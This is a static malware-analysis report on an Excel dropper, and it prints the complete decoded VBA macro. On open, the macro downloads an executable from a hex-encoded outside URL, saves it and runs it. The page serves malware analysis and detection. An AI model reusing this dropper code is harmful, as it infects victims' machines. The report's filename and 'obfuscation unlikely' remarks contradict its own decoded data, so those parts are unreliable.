Xls.Dropper.EPPlus-9802867-2 — Office (OOXML) malware analysis

Static analysis result for SHA-256 54ce78e2390f3788…

MALICIOUS

Office (OOXML)

48.1 KB First seen: 2020-08-10
MD5: 70ea498b21cf4dceff40722f3820319b SHA-1: 8a9d7450e06df34553625ab0009497ebef06a5ca SHA-256: 54ce78e2390f3788dc7e7c232cf604e7d9f51126976843106331716b0d88dc76
308 Risk Score

Malware Insights

Xls.Dropper.EPPlus-9802867-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains a Workbook_Open subroutine that is triggered automatically when the document is opened. This subroutine decodes a URL and uses CreateObject to download and save an executable file named 'svghost32.exe' to 'C:\Users\Public\'. The script then attempts to execute this downloaded file, indicating a dropper functionality. The ClamAV detection name further supports this classification.

Heuristics 6

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    PLVNGJTUTDRGERSXZDAEWSDQBNVHF.write CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE = CreateObject(adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE = CreateObject(adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3402 bytes
SHA-256: e214062cce1abd674027c2c668013d936c59c12aae3fa7368295e086afd881eb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
ZOKAGh67345OKCBGF_BCHGDRwesrasjiu"68 74 74 70 73 3A 2F 2F 66 69 72 73 74 61 74 6C 61 6E 74 69 63 62 6E 6B 2E 63 6F 6D 2F 64 2F 36 33 76 38 42 35 6C 5A 4D 6C 6F 68 76 71 55 2E 65 78 65"
End Sub
Public Sub ZOKAGh67345OKCBGF_BCHGDRwesrasjiu(Link As String)

Dim CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE

Dim PLVNGJTUTDRGERSXZDAEWSDQBNVHF

Dim PSVCBFGRYHSXNCMKHIUYIPLOAZDSFETR

Set CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE = CreateObject(adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Set PLVNGJTUTDRGERSXZDAEWSDQBNVHF = CreateObject(adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("41 44 4f 44 42 2e 53 74 72 65 61 6d"))

Set PSVCBFGRYHSXNCMKHIUYIPLOAZDSFETR = CreateObject(adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("57 53 63 72 69 70 74 2e 53 68 65 6c 6c "))

Url = adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf(Link)

urloasjdklweqad_babu = adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")

RUNCMD = adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")

CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE.Open "G" + "E" + "T", Url, False

CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE.send

PLVNGJTUTDRGERSXZDAEWSDQBNVHF.Type = 1

PLVNGJTUTDRGERSXZDAEWSDQBNVHF.Open

PLVNGJTUTDRGERSXZDAEWSDQBNVHF.write CXVGDFREGDDHFDFJDBSFBSFIOSDNSHFE.responseBody

PLVNGJTUTDRGERSXZDAEWSDQBNVHF.savetofile urloasjdklweqad_babu, 2

PSVCBFGRYHSXNCMKHIUYIPLOAZDSFETR.Run RUNCMD

End Sub

Public Function adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf(ByVal bvnfhyre546ysgtsgdhdbsfu09u24seadzsddhfbbydsbf As String) As String
Dim wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa   As String
Dim BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT As String
Dim ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD         As Long
    For ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD = 1 To Len(bvnfhyre546ysgtsgdhdbsfu09u24seadzsddhfbbydsbf) Step 3
        wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa = Chr$(Val("&H" & Mid$(bvnfhyre546ysgtsgdhdbsfu09u24seadzsddhfbbydsbf, ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD, 2)))
        BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT = BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT & wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa
    Next ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD
    adsfvgvdbfsbdifsjdujndjbbjvb64375y9uibfibdfu0dffdbhdbfhdfhhdfdf = BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT
End Function

Attribute VB_Name = "Sheet 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5632 bytes
SHA-256: 2c0ac79c688264473d558ff49c272afec1cc2611e10237b83436697c901fb203
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: unlikely

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